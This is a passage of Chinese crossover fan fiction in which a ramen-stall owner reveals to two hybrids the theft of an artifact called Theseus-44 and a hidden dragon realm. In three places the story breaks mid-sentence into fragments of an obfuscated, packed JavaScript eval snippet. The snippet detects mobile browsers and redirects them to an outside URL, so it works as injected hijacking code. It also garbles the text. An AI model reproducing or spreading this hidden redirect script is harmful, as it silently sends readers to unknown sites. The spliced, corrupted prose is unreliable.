老板背对着他们,手上忙活着什么,似乎没发现来了新客;之前挤在一起唱歌的那群上班族已经离开了,木凳上只剩一个中年男人,孤零零坐在正中,额头上扎着条领带,背影写满颓丧。 “嘛……全都无所谓了。”男人醉眼朦胧地念叨着,“反正我的人生就这样了。上司也好家人也好,全都吃屎去吧……” “上司也就算了,不过家人还是要珍惜的啊。”老板这么温声回应道。 “不、说到底也就是被婚姻还有血缘束缚在一起的陌生人啦。”男人摆摆手,自暴自弃的样子。 老板却不以为意地轻笑了一声,“野原さん也只是嘴上这么说而已吧?” “…真是的,”男人抱怨般地告饶道,“今天难得有时间,就让我尽情倒倒苦水怎么样?” 老板还没回答,男人却听到了身后的响动。 “喔…老板,来客人咯?” 他转身看了艾莎和沢田一眼,胡乱地朝他们点点头,自觉地往旁边挪了挪位置。 但艾莎没有动。准确地说,在看到面摊老板的那一刻她就蓦地僵住了。 沢田注意到她的异常,当即顺着她的视线不动声色地看了过去。 老板仍然背对着他们,似乎对手上的活计专心致志。他穿着寻常拉面师傅会穿的那种白色工服,听声音倒很年轻。他的个头不算高,长长的黑发扎成马尾垂在腰际,莫名地给人以一种纤弱感。 “はい,豚骨叉烧拉面一碗。”老板将面碗摆到中年客人面前,后者发出一声夸张的惊叹。 “喔——好!那今晚就先来喝个痛快吧!越师傅,再来一杯!” 老板一边微笑着称是,一边双手接过了空酒壶。他的应对就像一个最最和气的商人,叫人看着心中舒畅,挑不出一处错来。 这时沢田纲吉终于看清了他的长相。过于秀气的长相,皮肤在灯下白得近乎透明,低眸垂首时婉约如女子。 “いらっしゃいませ(欢迎光临)。”老板与他们对上目光,神色如常地露出一个微笑。: “东京的夏天总是那么多雨,是不是?”他仿佛随口寒暄般说道,“有时候怪讨厌的…总是会碰到不想碰到的人。又或者是惹上不该惹的事。” 说完以后他微微停顿了一下,笑脸看起来意味深长。 75. 第70章 源家次子 雨水敲击木幌,声音细密急促。 拉面摊内陷入短暂的沉默。艾莎没有理会老板的招呼,半晌后,她神情古怪地重复了一遍刚才客人口中的称呼: “…‘越师傅’?” 这样异常的反应让沢田纲吉更加确信,她与面摊主人的确是相互认识的。 ……混血种么? 望着眼前身形瘦小的摊主,沢田总觉得有些眼熟,可一时想不起来是在哪里见过。 “是。”面摊老板坦然领受了‘越师傅’的称呼。 “…‘越师傅’是这里的第一任主人。”老板的目光落到一旁的架子上。那里贴着几张斑驳的招贴画,画前零星摆放着达摩之类的装饰物与几盘光碟,都是些落后于时代的东西,色彩已经黯淡了。 “我继承了他的拉面摊,当然也继承了他的名字。” 老板这么说道;神色淡淡的,说不上怀念或者哀伤。 然而这种神情却让沢田纲吉莫名联想起一年以前的艾莎——当她提起校长的时候。 他不由猜测面摊老板与他口中的‘越师傅’同样关系匪浅。 这时面摊老板似乎注意到他的视线,微笑着主动打了招呼。 “这位就是沢田君吧?果然和想象中一样,是个温柔又坚毅的人啊…看您的眼神就知道了。” 他的用词非常文雅,虽然是夸赞,但丝毫不见谄媚,反而让人觉得很诚恳。 诚恳得……几乎不像是试探。 听他直接说出沢田的名字,艾莎顿时眉头一皱。她心里对源稚女没多少信任可言——和曾经是不是敌人没有关系——这人的心机太深了,尽管是个精分,但即使是较为软弱的那个人格也照样能把人耍得团团转。 ——上次在日本他也是这么一脸人畜无害地一个接一个报出楚师兄恺师兄二师兄的名字,然后下一秒他们就稀里糊涂卷入了日本黑.道的战争,并半被迫地站到了源稚女一边。 现在他又摆出一副对沢田了然于胸的样子……能是什么好事么? 艾莎刚想开口说点什么,却被其他人的声音打断了。 “诶呀,老板,是认识的人么?” 名为野原的中年客人看看老板,又扭头望望艾莎和沢田,朦胧的醉眼中流露出好奇。 “大学戏剧社的旧相识啦。”源稚女笑眯眯地扯谎,“虽然已经毕业了,但聚在一起还是忍不住沿用社团时期的设定说些奇怪的话。还请野原さん不要见怪呐。” “喔!戏剧社,真是奢侈啊——”中年客人顺势发出感叹,但又很快反应过来,“但是延续设定什么的,喂喂,老板你这只是单纯的中二病而已吧?” “要说中二也是一群人一起中二啦:人啊龙啊的吵闹个不停,偶尔还会佩戴金色的美瞳喔?” “咿呀——”中年客人无奈叹气,“所以才说老板你们这代是宽松世代啊……龙都出来了,听起来真是俗套得不行的设定。” “如果是野原さん会把自己设置成怎样的角色?”源稚女发出轻笑。 醉醺醺的中年客人果然陷入沉思,最后十分正经地双手交握作持剑状,“我的话果然还是屠龙的勇者吧?这么多年的DQ可不是白玩的…嗯…嗝,老板呢?” “现在的话不清楚,但以前是了不得的反派呦?”源稚女说,“反叛黑.道帮派的二把手、手上沾染了很多鲜血,和心怀正义的敌对家族大家长是孪生兄弟,分开多年但心里一直都想着和哥哥重逢…之类的?” 中年客人顿时露出牙酸的表情。 “这是言情小说的设定吧?” 源稚女低头笑了笑,当作回答。 一旁艾莎倒是为还在傻笑的野原さん暗中捏一把冷汗:这位客人您有所不知你面前的老板看起来好脾气但曾经是个情绪不稳定的精分啊!随时有可能从铺子后面抽出一把长刀让你血溅当场的那种,不信你稍微编排他哥一两句试试! “那你呢?”客人又努力朝艾莎的方向探身,“你和老板是一个社团的吧?” 艾莎一愣。她没想到他们聊着聊着聊到了她身上。 “…学生时代的玩笑话早就记不清啦——我和他妹妹是好朋友,但我们关系很远啦。”她说,“今天带朋友来吃面,偶然碰到而已。” “…说是朋友,其实是男朋友吧?进来的时候可是手牵着手呦。”中年客人突然发出猥琐的笑声,目光在她和沢田之间逡巡。 艾莎:“……”进攻来得猝不及防,她觉得被汤锅咕嘟咕嘟冒出的蒸汽扑了一脸。 沢田纲吉:“……”他的手一下抬得很高,接着僵硬地理理袖口,有点欲盖弥彰的意思。 “那男朋友さん呢,男朋友さん也有设定吧?说来听听说来听听——” 沢田纲吉张了张口,但正儿八经反驳一个醉鬼似乎更不像话。 最终他什么也没说,默默将“男朋友さん”的称呼认下了。 “他是隔壁学校的,之前和我们不在一起。” 源稚女在这时笑吟吟地插话。 说罢,他又意味深长地补充一句,“…不过既然是男朋友さん,大概早晚还是会扯上关系吧?沢田君也该尽早想好自己的‘角色’才是。否则又怎么能和我们这些人玩得尽兴呢?” 谁都听得出他话里有话。艾莎皱了皱眉,正要出声维护,却见一旁的沢田纲吉同样礼貌地点了点头,并且露出了mafia模式下的那种淡淡微笑。 “多谢提醒,我会铭记在心。”他先是这么温和坦然地说道,而后又微微一顿,“…风间さん。” 源稚女笑容微敛,原本脸上那种游刃有余的戏谑不见了,取而代之的是一层淡淡的阴翳。 “我现在已经不用这个名字啦。”他深深地看了沢田一眼,“在这里他们都叫我‘越师傅’,在其它地方你可以叫我‘源稚女’。” “——我是源稚女,源家次子。”他幽幽地说,声音那样轻。或许连他自己都没有注意到,这不是向人作自我介绍时的语句和语调,反而更像某种自言自语。 艾莎听罢心绪复杂地看着他。先前她听二师兄提过那么一两嘴,说战后‘源稚女’与‘风间琉璃’的人格开始融合,从此油门有了刹车刹车有了油门,不会再做出癫狂举动。 她原本以为是就此康复的意思,但现在一看源稚女好像病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“如果没有认错人的话…源君以前来过并盛町几次。”沢田纲吉斟酌着说道。 虽然没有直接见过面,但他确实曾在草壁学长提供的资料上见过源稚女;只不过当时对方的装扮气质与现在相去甚远。 很难想象一个人能在气质上产生如此大的前后变化,甚至以致于影响辨认外貌;能够做到这一点,对方大概是个天生的演员。 闻言,源稚女轻轻笑了笑。 “以前想吃寿司的时候我会拜访并盛,那里有全东京最好的寿司师傅。他是真正懂行的人,刀法里有流水般的禅意。我带着最好的龙泉清酒看他料理生鱼,之后我们会一起喝上几杯,有时我唱几段戏词给他听……好奇的话我可以把店名告诉你。” 他的声调很特别,像念戏词一样娓娓道来。最后一句是对艾莎说的,因为她边听边露出了些微不耐的神情。 “…抱歉,”她耸耸肩,“我只是欣赏不来你这种说话像念诗的语言风格。” “这是你自己的问题。”源稚女说。语气很温柔,得让人反应一会儿才明白他在回击。 接着他们都没再开口,沉默时仿佛有两个无形气场在冷冷对峙;然而由于他们一个捏着筷子一个握着汤勺,所以场面看起来异常滑稽。 这两个人……果然关系不好吧? 沢田纲吉左看看右看看。此刻他还是没能产生多少“休假中”的自觉,老实说面前这两个人让他想起自己的云守和雾守……他看了一眼旁边搞不清状况还在傻笑的中年客人,默默提高了警惕。 76. 第71章 暗涌 半晌,艾莎将筷子扔回桌上。 “算了,见到你正好,省得我多跑一趟源氏重工……给。” 说着,她从背包里的格层小心抽出两沓大红色的请帖,辨认一下后将其中一沓交给了源稚女。 后者轻笑一声接过请帖,又略略打量了一下艾莎和沢田纲吉,“真没想到…我该祝你们新婚之禧?” 艾莎和沢田都是一愣。一想到此情此景好像确实容易引起误会,他们条件反射地对视一眼,霎时间从对方眼中看到了同样的动摇和慌乱。 “哈?你你你胡说八道什么……!”艾莎猛地站了起来,两颊飞上红色,看起来话都说不利索。 沢田纲吉倒是坐着没动——因为一旁的野原さん已经豪气万丈地勾住了他的肩膀。 “喔——结婚哇,恭喜恭喜!这是值得庆贺的事啊,是不是啊老板?” 源稚女笑着点了点头。 “也请我喝一杯沾沾喜气啦这位小哥,这样大家就都是好朋友啦——” 醉醺醺的中年客人边说边凑到沢田耳边,用自以为很小的音量发出警告,“喂,要小心喔,结婚以后再漂亮乖巧的女孩子迟早也会从这样变成那样,前方可是坟墓啊坟墓…嗝!” 被酒气喷了一脸的沢田纲吉:“……” “我说大叔你就别添乱了……”艾莎满头黑线。 “怎么能说是添乱!”中年大叔怒目圆睁,“这是大叔我宝贵的人生经验啊人生经验…” 他本来就是借酒消愁,压抑许久的抱怨一旦开始就根本停不下来; 野原さん的故事从风华正茂的二十岁一路延伸到惨淡的昨日,听起来似乎是遭遇了替上司背黑锅每天加班回不了家老婆还以为他出轨于是不听解释就闹离婚这样的惨剧…… 最后他怒道年轻人结什么婚年轻人就应该去对面的lovehotel一条街逍遥,并豪迈不群地拍出钱包表示要资助他们…… 沢田纲吉本来还在轻声劝慰,听到这里也和艾莎一起手足无措支支吾吾。源稚女笑眯眯地看了有一会儿,这才接过话茬收拾场面。 最后,双眼通红的野原さん声音越来越含糊,没多久便脑袋一歪,伏在桌边睡着了。 围观全程的艾莎面露讶异。 “怎么?” “…没什么,”她微微错开视线,“你这个面摊老板当的还有模有样的。” “是啊,我也没想到。”源稚女露出赞同的神情,“以前想过很多遍,等一切结束后我该做些什么。可等这一天真的来临,又突然觉得一切都没什么意思。我不擅长料理,但我突然多了一个经验丰富的老师,而且我喜欢和陌生人聊天。所以像现在这样,在街头摆个面摊也不错。” 他边说边展开最上层的请帖。看清上面的名字后,源稚女笑容微敛。 “原来是路君,”他轻声说,“以前觉得是会孤独到死的人,没想到一转眼就要结婚了…时间过得真快呐。” “我还以为你的反应会更大一点,”艾莎说,“毕竟是你妹妹嘛。” “怎么会。”源稚女笑笑,“我和绘梨衣感情并不深,负责照顾她的一直是哥哥。” 他此刻的笑容就像歌舞伎的妆面,美丽,标准,叫人看不透他的真实心绪。 “不过大概还是会有人感到头痛吧?”他轻轻抚了抚请柬。 “象龟么?” “不。对哥哥来说,绘梨衣过得开心才是最重要的。况且路君是被他承认的男人。如果这个世界上还有一个人能让绘梨衣过上普通又幸福的生活,那么这个人一定是路君——虽然哥哥从没这么说过,但我知道他是这么想的。” 艾莎默默颔首。 “但其他人不是。”源稚女说,“据我所知,蛇岐八家一直在为他们的事争执不休。很多人不同意他们交往;作为家族最重要的武器,他们认为绘梨衣应该回到东京来。” 艾莎一愣,“现在都什么时代了,还讲父母之命那一套么?你们大家长也不管管?” 她记得蛇岐八家的现任大家长樱井七海,那是位果敢又坚毅的现代女性,很难想象她会容忍这样腐旧的观点。 “没有你想的那么简单。蛇岐八家内部本来就不安宁,特别是在吞并猛鬼众后。只是之前还有昂热校长和黑王复苏的预言压在头顶,所以大家不得不团结在一起。” 源稚女将请帖收到桌下,又排出两个汤碗。现在他就像日剧里会出现的那种拉面师傅,和客人闲谈着老街上的往事,言语间云淡风轻,事不关己。 “现在距离战争结束已经过去一年,很多人的想法当然都变了;只是有的人选择张扬,有的隐忍不发而已。天天和这样一群人待在一起,既要辨别又要权衡,现任大家长的日子大概不会好过。” “你不是猛鬼众的二号人物么,你也管不了么?” “我很早就退出了。”源稚女轻声说。 “那里面很多人的目光都让我觉得不舒服,我从他们身上看到赫尔佐格的影子。如果再待得久一点,有天我会忍不住把这些人都杀光吧?可那样又会被视作是鬼,比起向不存在的亡魂复仇我更想要自由。我已经没有第二次抵罪的机会了。” 灯下他的皮肤白得近乎透明,就像一尊剔透的佛像。即便嘴唇中吐露的语句森然血腥,但竟然并不招致反感。 沢田纲吉默默聆听着他们的对话,那个他不曾触及的世界好像又离得更近了一点。冥冥中仿佛有一道不可知的门正在缓缓洞开。 他们言语间触及各个势力的秘辛,理智告诉沢田现在应该主动避让,可他从源稚女的话语里捕捉到某种让人不安的气息。他有种感觉,源稚女的这些话不光是说给艾莎一个人听的。 “不只日本,现在全世界的混血种都不安稳。旧势力正摇摇欲坠,到处都弥漫着骚乱的味道。”源稚女说,“我听说你去年被北美混血种偷袭,差点死了。” 他冷不丁提这么一句,艾莎顿时暗道不好。她和默默望过来的沢田纲吉四目相对,后者脸色相当复杂,向来温和的眉眼间泛出隐隐的怒气。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658835|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我不是我没有我离死还差得远好么?”艾莎立即反驳。但她注意到沢田的面色反而更糟糕了,于是当即飞速略过话题: “就算是你说的那样,全世界的混血种都在发疯,但这些和二师兄和绘梨衣有什么关系?难道还不准他们过自己的安稳日子了么?” “我以为即便是你,也不至于说出这么天真的话。”源稚女淡淡地说,“蛇岐八家一旦发生变故,首当其冲的就是秘党。前者在名义上一直附属于学院,但私底下有不少人都受不了这点。” “反过来也是一样。昂热校长死后,学院和日本分部的关系名存实亡,你们的校董会应该也很想恢复对这里的支配吧?” 他的话很简短,三言两语但却字字惊心。 “路君和绘梨衣就像连接秘党与蛇岐八家的桥梁。当后者关系土崩瓦解,你以为桥梁还能安稳如昔么?” “你说的是哪朝哪代的逻辑啊。”艾莎不为所动,“喔,日本战国时代好像确实有这样的传统。我听说你们的领主之间关系变来变去,今天是姻亲明天就可能是仇人,所以战败认输前会有送回家眷的传统。可你觉得绘梨衣是什么柔弱的战国公主么?你敢当着她的面把刚刚那些丧气话一个字一个字地说给她听么?” “每个时代有每个时代的洪流,这本来就是不可逆的东西。我们身在其中,无论具备多强大的力量也只有被裹挟或者吞没。即便是路君和绘梨衣也不例外。” “这可不像是你会说出来的话。你以前不是身挎长刀,对着命运死不低头的那种人么?” “你说的那个人不是我,我不是那么狂放的性格。”源稚女顿了顿,“即便真的是我,可人是会变的。以前一直待在黑暗里,所以看到火焰才能像飞蛾一样无所顾忌地扑上去,因为黑暗里那是唯一趋近于光的东西。” “但人只要拥有一丁点东西就不敢再去赌了。这点你不也是一样么?我听说去年你死里逃生得相当狼狈,几乎是在黄泉绕了一圈。可你以前不是那种判断没有生机就干脆闭上眼睛迎接死亡的家伙么,”源稚女的视线相当明显的在沢田纲吉身上停顿了一下,“怎么现在反而变了呢?” “又或者——如果现在战争再度来临,你还能像之前一样无所顾忌地赴死么?” 这是什么死亡问题三连击,背刺也不是这么个刺法。艾莎顿时冷汗直流,几乎不敢转头去看沢田纲吉此刻的表情。 “什么死不死的。现在龙族都灭绝了,这个世界上没有一样东西值得我去付出生命好么?”她梗着脖子粗声粗气,“你没事少在那里危言耸听。” “今晚之前或许是危言耸听吧。” “…什么意思?”艾莎心头突然涌起一股不祥的预感。 “战后,秘党与蛇岐八家一直维持着表面的和平。但今晚这个微妙的局势就会被打破吧?秘党不是在日本丢失了重要的东西么?”源稚女淡淡道。 紧接着,那串不该为他所知的编号自他唇间吐出。 “——Theseus-44号。” 77. 第72章 “你从哪儿知道这东西的?”艾莎猛地抬头。 “我是怎么知道的不重要。”源稚女说,“你不用这么紧张。我只是想告诉你一些消息——关于今晚你搞砸的那件事,它会带来的影响远比你想象中大得多。” “…还是说你其实知道,”他看看女孩身旁的棕发青年,“不说出来只是不想让沢田君担心呢?” “你到底想做什么?”艾莎冷冷切换成中文。 “别这么看着我,好像我做了什么算计你的事情一样。”源稚女缓缓露出一个微笑。他用的还是日语,听了他的挑衅艾莎几乎要从座位上跳起来。 但这时沢田纲吉伸手拦住了她。他微微摇了摇头,温和沉静的目光稍稍抚平了她的焦躁。 然后他转向源稚女,斟酌一下后开口道: “我想今晚和源さん的相遇,应该并不是巧合。” “的确不是。”源稚女相当配合。 “源さん刚刚说想告诉我们一些消息?”他继续道,语句中的人称不着痕迹替换成了“我们”。 源稚女似乎没想到他会这么早就配合着入了套,当下眯了眯眼。 无形中有某种威压扑面而来。沢田不闪不避地任他打量,神色坦然。 “我喜欢你的眼神。”过了一会儿源稚女慢慢道,“你让我想起路君,你们都有狮子一样的眼神。但你和他并不完全相同,有时路君的眼神令我感到恐惧,你却让我觉得亲近。” “可有一点是一样的:你们都有想要保护的人,为了保护他们你们可以不惜一切。这就是你们眼神里的‘戏’。我喜欢眼神有‘戏’的人,只有这样的人才能叫人安心托付。” 源稚女的笑容变得真诚了一些。那股无形的威压也随之消失了。 “真希望你们能够见上一面……路君的婚礼,沢田君会来参加么?你们的会面想必让人期待。” “纲吉君来不来我不知道,但如果你再像这样不说人话想必是来不了了。”艾莎这时阴恻恻地开口。 “喔,来不了的会是我么?”源稚女似笑非笑地答复她。 他们再度冷冷对视。眼前场景过于熟悉,沢田纲吉简直哭笑不得;他不清楚混血种真刀真枪动起手来会是什么样子,但想也知道不是什么小场面。 就像条件反射一样,他习以为常地伸出两只手作安抚状: “云…咳、大家,总之先冷静一点……”要知道现在可是在大马路上啊…… 闻言,艾莎气鼓鼓(但很配合)地将头撇向一边。源稚女也露出了无可奈何的笑容。 “既然是沢田君这样说的话……”他叹了口气,幽幽道,“我们继续刚才的话题,Theseus-44号。” 他继续刚才被打断的讲述,只不过这一次对话的主体换成了沢田纲吉。 “沢田君应该已经知道,混血种隶属于不同阵营;这些组织大多历史悠久,但因严格的保密措施而不为人所知。譬如她所在的秘党,”源稚女看看艾莎,“秘党是欧洲混血种的大本营,进入现代后他们开办卡塞尔学院,将组织过于庞大的身躯隐藏在教育机构之下。所以他们的决策层又被称为校董会。” “蛇岐八家则集合了日本的混血种势力。就像秘党与卡塞尔学院的关系一样,它将自己隐藏在黑.道身后,在东京蛇岐八家就是绝对的强权,整座城市都在它的控制之下。” “——而Theseus-44号,就是校董会与蛇岐八家共同想要争夺的东西。” 闻言,沢田纲吉反倒陷入了更深的茫然。他对混血种的世界不甚了解,但在船王的邀请下,他曾亲眼见过那件拍品:被层层油布缠覆着,只有巴掌那么大。神秘有余,不起眼也有余。 今晚的拍卖会上它甚至被一些客人公然嘲讽。很难想象这样的东西竟会引来两大混血种势力的对峙与争夺。 艾莎似乎也有相同的困惑。 “说来说去,这个Theseus-44号到底是什么东西?” “这是秘党的秘辛,我知道的不会比你更多。”源稚女说,“但也不是不能推测。说起来,沢田君知道这件东西么?” 他心思极细,话语间十分照顾沢田的感受,似乎不想让他落后于对话一步。 沢田纲吉点了点头。 “鹤见向我介绍过。”他将先前的所见所闻简略说了,包括那只被切开的、雕刻着双头老鹰的保险柜。 “也就是说,Theseus-44号与甘贝特有关么?”突然涉及自身,艾莎有些吃惊,执行部提供的任务描述中没有这条信息。 “这并不奇怪。甘贝特曾是秘党最显赫的混血种家族之一,你先祖的名字曾经响彻整个欧洲。就连我也听说过,”源稚女缓缓道,“卡尔·冯·甘贝特*,他被称为‘掘墓人’,这不光是因为他铁血的作风,他一度也是秘党中最热衷于开发龙族遗迹的人,在他那个时代秘党获得的残卷遗物数不胜数。甚至有传言说他获得了艾默拉德石板。” 艾莎表情严肃地和他面面相觑,三秒后源稚女冷静开口: “你不知道‘艾默拉德石板’是么?” 艾莎眼神游移但没吭声。她身边的沢田同样面露迟疑——他只觉得‘艾默拉德’四个字听起来有点耳熟,好像似曾相识。 但英语毕竟不是他的母语,有时候音译过来的名字在他听来都差不多。 “艾默拉德石板又被称为‘翠玉板’,或许你们更熟悉的是这个名字。”源稚女叹了口气,“最广为流传的说法是公元前332年,征服王亚历山大大帝在埃及法老的坟墓中发现了它。后来它被安置在亚历山大图书馆的走廊正中,但在公元前283年随着图书馆的焚毁而消失。” “传说那是一块通身翠绿的石板,没人知道它是用什么东西制成的,因为那种材质不属于地球上已知的任何一种玉石。而其上所刻的十三句箴言比石板本身更加珍贵,它们被合称为《翠玉录》*。”源稚女看了一眼艾莎(听到这里她露出了恍然大悟的神情),“有人说《翠玉录》涵盖了一切炼金术的奥秘,但对混血种来说不止于此——” “——‘进化’的法则。”艾莎低声向沢田接着解释,“不少混血种觉得那十三句话记载的其实是从人类向龙类进化的法则。只要破译就能开启成为纯血龙类的道路。” “等等,你不会是想说Theseus-44号就是那个消失了两千多年的什么什么石板吧?”她眉头紧锁。 这样未免也太离奇了,《翠玉录》的存在之于混血种差不多就等同于《圣经》之于基督徒。以此类推,承载《翠玉录》的石板地位基本类似于刺穿耶稣的朗基努斯之枪,比起具备实体二者更像传说中的东西。 “当世还活着的人中,没有人亲眼见过艾默拉德石板。”源稚女既没肯定也没否认,“甚至没人能确定它是否真的存在。或许在漫长的时间中,它早已经变了形态。” “但有一点可以肯定:你的先祖毕生都在研究残卷古籍,试图厘清《翠玉录》的奥秘。你觉得被甘贝特慎之又慎锁在保险柜里的,会是什么普通文物么?秘党从不浪费时间精力在与龙族无关的事情上。”他低声道。 “所以校董会才那么想要它是么?他们觉得Theseus-44号是另一把通往‘进化’的钥匙。”艾莎说完就陷入沉默。 从始至终,混血种追逐的东西好像从来没有变过——进化进化进化,永远都是怎么安全地进化,一个一个好像都不想当人,追逐着比云雾还要虚无缥缈的东西。 她已经很久没有像现在一样觉得厌倦,放在桌下的手无意识地攥成一团,但很快又被另一只温热的手掌覆盖。 薄茧轻轻蹭过手背,那只手安抚性地拍了拍她,掌心传来的温度使得原本僵硬的手指慢慢放松,随之而来的是另一股温暖又安定的力量。 艾莎没有抬头。不用抬头她也知道手掌的主人是谁。他们牵过太多次手了,身体的熟悉甚至先于精神。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658836|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> ……不得不承认,尽管因为把沢田扯进来而感到万分抱歉,但在内心深处的某个角落,她仍然庆幸于他此刻的陪伴。如果现在是她一个人在听源稚女说这些话,她的第一想法大概还是希望他也在她身边。 可不该这么依赖沢田的。或许大师兄说得对,‘喜欢’这种情感就是会把人变得比以前糟糕。 而现在她变得比以前糟糕得多。这或许是因为她非常非常喜欢沢田。 艾莎望着桌面一语不发,自从在拍卖场地认出沢田开始,她就一直陷在一种相当微妙纠结又不讲理的自我厌恶当中。 而就仿佛是想宣泄掉这些情绪一样(尽管很矛盾),在桌下看不见的地方,她的手指搭住他的,然后有点愤愤地轻轻捏了一下。她没意识到手掌翻转后他们掌心相合,这个动作会有点像是一个松垮的十指相扣。 沢田纲吉的手顿了顿,她没抬头看他的表情,不知道他是否露了端倪。但接着他居然也回捏了她一下,力道同样很轻,有点像安抚,又有点像是让她不要捣乱。总之没多少旖旎意味。但他之后也没松开她的手,两个人的手指虚虚地搭着彼此。 “我对混血种的世界了解不深。”沢田纲吉沉吟一下然后开口,声音彬彬有礼,很是冷静沉着。 “但听起来,Theseus-44号与混血种的‘进化’有关的说法只是猜测。说实话,光凭这样的臆测,很难想象它的遗失会导致源さん所暗示的…那种程度的严重后果。” “你说的不错。”源稚女的眼神中流露出赞赏,“校董会为了Theseus-44号不惜一切,或许是因为他们还掌握着什么甘贝特家族的秘辛。但蛇岐八家之所以也盯上这件拍品,确实是因为某些更实际的……‘可能’。” “什么意思?” “蛇岐八家并不缺少优秀血裔,得益于白王血统,他们有数以千计的A级混血种。但在炼金术上,蛇岐八家与秘党的差距天差地别。不,应该说世界上所有混血种组织相比秘党都是这样,”源稚女说,“因为除了秘党以外,再没有哪个势力成功猎杀过初代种。秘党不光占据了全部的龙王骨骸,甚至连一点余烬都不愿分享。” 说完,他突然朝着沢田纲吉微微一笑,言谈间似乎重新开启了一个话题。 “沢田君都不觉得奇怪么?混血种对龙族的战争声势浩大,但在探测手段如此发达的今天,竟然一点端倪也没有显露。” “那是因为每个龙族都有各自的神殿,大大小小,那是它们栖身的巢穴。这些巢穴并不存在切实的坐标点,而是藏在另外的维度。它们在我们的世界只留下一个入口——可能是一座古城池,也可能是一个废弃的地铁站台。” “据说龙类就在其中、就在它们死前结成的‘茧’中沉睡,身边环绕着它们生前的仆从。那个领域里的东西,即使是一颗石子一粒灰尘,都包含着非凡的炼金价值。时间在那里是停止的。要想到达那里,首先必须穿越一个物质界面,这个界面通常由水构成,像是镜子。” 他听起来似乎意有所指。沢田纲吉眉头微皱,源稚女的话简直像是在说—— “随着黑王湮灭,所有龙类一并随之死去,世界上所有‘神殿’的入口应该都已经永久关闭了。直到去年冬天,一艘古船被完好无损地从海中打捞上来。”源稚女轻声道,“根据记载,它最后一次出现是在1853年,搭载一样重要物品从巴勒莫秘密驶往德国汉堡。它消失在航线中途,从此再没有人找到它的所在。凭空消失,海面,被时间遗忘的船只,一切条件都很吻合,是不是?” “它去了‘神殿’?”沢田纲吉有些生涩地吐出这个名词,“你是指巴勒莫附近的海域,隐藏着一个龙类的‘神殿’?” “我们一般用其它名字称呼它。”源稚女说,“它有许多名字:‘雾之国’,‘死人之国’……北欧神话与德国的叙事史诗中都提起过它,而混血种通常称它为——” “——‘尼伯龙根’。” 78. 第73章 伞中 “现在你该知道,Theseus-44号对于秘党和蛇岐八家来说意味着什么了。” 艾莎面无表情地站了起来。 “怎么,故事听完就要走么,”源稚女说,“面也不吃?” “不吃了。”她冷冷道,“客人到了这么久还不上菜,我看你这面摊迟早倒闭。” 到现在怎么也看出来了:这精心设计的对白,这引人入胜的故事——源稚女根本是故意等在这里的。他本来就是那种会算准一切的人。苦心经营这么一出,为的是把沢田纲吉和她一起卷进来! “需要我做什么,你直说。”她在‘我’字上加重音节。 “很简单。做你该做的:找到Theseus-44号,把它带回给秘党。这本来就是件双赢的事,”源稚女边说边看了一眼沢田,“如果你能找回它,当然也能免于校董会的处罚。” “…就这样?”艾莎挑眉。 “那本来就是你们欧洲混血种的东西,不该出现在日本的土地上。”源稚女淡淡道。 “这么说你有Theseus-44号的线索?”艾莎问,“它现在在哪儿?” “我要是知道,何必还来拜托你?”源稚女说,“但我知道今晚是谁拿走了它。” “是谁?” “蛇岐八家现任大家长,樱井七海。” 艾莎与他对视3秒。 “那这事你不该找我,你找象龟啊,一个电话就解决了。”她说。 “…有时候我真怀疑和你说话是在浪费时间。”源稚女语气轻柔地说,“刚才就说了,战后的蛇岐八家同样有了变化,大家长不再是独自掌舵的人。” “有些人和势力扎根得太深,就像毒瘤,就算是哥哥也不能完全拔除。更何况…那东西现在也不在樱井さん手中。” “什么意思?” “就在今晚,现任大家长遭遇袭击。护卫当场死亡,大家长重伤,现在还在紧急抢救中。”源稚女说。 “有人从她手里夺走了Theseus-44号——这就是我要你去调查的事。今晚袭击了樱井さん的人,就是现在持有它的人。” “如果是我,手里拿着这么麻烦的东西,肯定一早就离开。” “不会……详细情报你还是自己看比较好。”源稚女边说边递来一只小小的黑色读取器。 “‘辉夜姬’的远程接入路径。”他说得言简意赅,“你一个人大概找不到,但我知道和你一起来日本的那个人,他是这方面的行家。” “——替我向他问声好。” -- 伞面撑开,大滴大滴的雨珠砸下,发出“砰砰”的声响。 源稚女只借给他们一把伞。伞内空间说大不大说小不小,要肩膀蹭着肩膀才能免于淋湿。 他们各自想着心事,直到从拉面摊走出一段距离,沢田纲吉才轻声道: “去年冬天……” “你别听源稚女瞎说我当时就是受了点小伤执行部经常这样就和阿宅吃泡面打一个成语家常便饭似的普遍才不是那么危险的情况。” 艾莎一股脑说道。这些话仿佛就压在她舌根底下,只等他一问就倾泻而出。 因为说的太快太急,抖机灵都抖得生硬紧张。 沢田纲吉瞥她一眼。 “好吧好吧,”艾莎故意撇头不看他,“可能是比‘小伤’的程度严重一点……” 他叹了口气,没头没尾地说,“当时应该留个联系方式的。” 他指的是一年前分别的时候。但说完又为这句话的唐突沉默。 留联系方式……有联系方式又怎么样,让她遇到问题第一个打电话给他么?还是说受了伤要让他知道? 分别时对日后的联系绝口不提,大概是当时双方的默契属意。 现在说后悔,却完全是他个人的私心。 或许在内心某个阴暗的角落,他所在意的并不是帮忙解决问题。只是单纯的感到不悦。 